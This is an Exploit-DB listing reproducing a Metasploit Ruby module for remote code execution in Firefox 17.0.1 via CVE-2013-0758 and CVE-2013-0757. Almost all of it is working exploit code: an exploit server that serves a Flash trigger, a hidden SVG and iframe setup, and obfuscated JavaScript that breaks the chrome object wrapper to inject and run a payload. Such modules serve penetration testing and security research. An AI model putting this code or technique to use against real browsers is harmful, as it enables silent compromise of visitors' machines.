Mozilla Firefox < 17.0.1 - Flash Privileged Code Injection (Metasploit)

  • 作者: Metasploit
    日期: 2013-01-08
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/41683/
  • ##
    # This module requires Metasploit: http://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'msf/core'
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Msf::Exploit::Remote::BrowserExploitServer
    include Msf::Exploit::EXE
    # include Msf::Exploit::Remote::BrowserAutopwn
    include Msf::Exploit::Remote::FirefoxPrivilegeEscalation
    
    # autopwn_info({
    # :ua_name=> HttpClients::FF,
    # :ua_minver=> "17.0",
    # :ua_maxver=> "17.0.1",
    # :javascript => true,
    # :rank => NormalRanking
    # })
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'Firefox 17.0.1 Flash Privileged Code Injection',
    'Description'=> %q{
    This exploit gains remote code execution on Firefox 17 and 17.0.1, provided
    the user has installed Flash. No memory corruption is used.
    First, a Flash object is cloned into the anonymous content of the SVG
    "use" element in the <body> (CVE-2013-0758). From there, the Flash object
    can navigate a child frame to a URL in the chrome:// scheme.
    Then a separate exploit (CVE-2013-0757) is used to bypass the security wrapper
    around the child frame's window reference and inject code into the chrome://
    context. Once we have injection into the chrome execution context, we can write
    the payload to disk, chmod it (if posix), and then execute.
    Note: Flash is used here to trigger the exploit but any Firefox plugin
    with script access should be able to trigger it.
    },
    'License'=> MSF_LICENSE,
    'Targets' => [
    [
    'Universal (Javascript XPCOM Shell)', {
    'Platform' => 'firefox',
    'Arch' => ARCH_FIREFOX
    }
    ],
    [
    'Native Payload', {
    'Platform' => %w{ java linux osx solaris win },
    'Arch' => ARCH_ALL
    }
    ]
    ],
    'DefaultTarget' => 0,
    'Author' =>
    [
    'Marius Mlynski', # discovery & bug report
    'joev', # metasploit module
    'sinn3r'# metasploit fu
    ],
    'References' =>
    [
    ['CVE', '2013-0758'],# navigate a frame to a chrome:// URL
    ['CVE', '2013-0757'],# bypass Chrome Object Wrapper to talk to chrome://
    ['OSVDB', '89019'],# maps to CVE 2013-0757
    ['OSVDB', '89020'],# maps to CVE 2013-0758
    ['URL', 'http://www.mozilla.org/security/announce/2013/mfsa2013-15.html'],
    ['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=813906']
    ],
    'DisclosureDate' => 'Jan 08 2013',
    'BrowserRequirements' => {
    :source=> 'script',
    :ua_name => HttpClients::FF,
    :ua_ver=> /17\..*/,
    :flash => /[\d.]+/
    }
    ))
    
    register_options(
    [
    OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", '' ] ),
    OptBool.new('DEBUG_JS', [false, "Display some alert()'s for debugging the payload.", false])
    ], Auxiliary::Timed)
    
    end
    
    def on_request_exploit(cli, request, info)
    if request.uri =~ /\.swf$/
    # send Flash .swf for navigating the frame to chrome://
    print_status("Sending .swf trigger.")
    send_response(cli, flash_trigger, { 'Content-Type' => 'application/x-shockwave-flash' })
    else
    # send initial HTML page
    print_status("Target selected: #{target.name}")
    print_status("Sending #{self.name}")
    send_response_html(cli, generate_html(cli, target))
    end
    end
    
    # @return [String] the contents of the .swf file used to trigger the exploit
    def flash_trigger
    swf_path = File.join(Msf::Config.data_directory, "exploits", "cve-2013-0758.swf")
    @flash_trigger ||= File.read(swf_path)
    end
    
    # @return [String] containing javascript that will alert a debug string
    # if the DEBUG is set to true
    def js_debug(str, quote="'")
    if datastore['DEBUG_JS'] then "alert(#{quote}#{str}#{quote})" else '' end
    end
    
    # @return [String] HTML that is sent in the first response to the client
    def generate_html(cli, target)
    vars = {
    :symbol_id=> 'a',
    :random_domain=> 'safe',
    :payload=> run_payload, # defined in FirefoxPrivilegeEscalation mixin
    :payload_var=> 'c',
    :payload_key=> 'k',
    :payload_obj_var=> 'payload_obj',
    :interval_var => 'itvl',
    :access_string=> 'access',
    :frame_ref=> 'frames[0]',
    :frame_name => 'n',
    :loader_path=> "#{get_module_uri}.swf",
    :content=> self.datastore['CONTENT'] || ''
    }
    script = js_obfuscate %Q|
    var #{vars[:payload_obj_var]} = #{JSON.unparse({vars[:payload_key] => vars[:payload]})};
    var #{vars[:payload_var]} = #{vars[:payload_obj_var]}['#{vars[:payload_key]}'];
    function $() {
    document.querySelector('base').href = "http://www.#{vars[:random_domain]}.com/";
    }
    function _() {
    return '#{vars[:frame_name]}';
    }
    var #{vars[:interval_var]} = setInterval(function(){
    try{ #{vars[:frame_ref]}['#{vars[:access_string]}'] }
    catch(e){
    clearInterval(#{vars[:interval_var]});
    var p = Object.getPrototypeOf(#{vars[:frame_ref]});
    var o = {__exposedProps__: {setTimeout: "rw", call: "rw"}};
    Object.prototype.__lookupSetter__("__proto__").call(p, o);
    p.setTimeout.call(#{vars[:frame_ref]}, #{vars[:payload_var]}, 1);
    }
    }, 100);
    document.querySelector('object').data = "#{vars[:loader_path]}";
    document.querySelector('use').setAttributeNS(
    "http://www.w3.org/1999/xlink", "href", location.href + "##{vars[:symbol_id]}"
    );
    |
    
    %Q|
    <!doctype html>
    <html>
    <head>
    <base href="chrome://browser/content/">
    </head>
    <body>
    <svg style='position: absolute;top:-500px;left:-500px;width:1px;height:1px'>
    <symbol id="#{vars[:symbol_id]}">
    <foreignObject>
    <object></object>
    </foreignObject>
    </symbol>
    <use />
    </svg>
    <script>
    #{script}
    </script>
    <iframe style="position:absolute;top:-500px;left:-500px;width:1px;height:1px"
    name="#{vars[:frame_name]}"></iframe>
    #{vars[:content]}
    </body>
    </html>
    |
    end
    end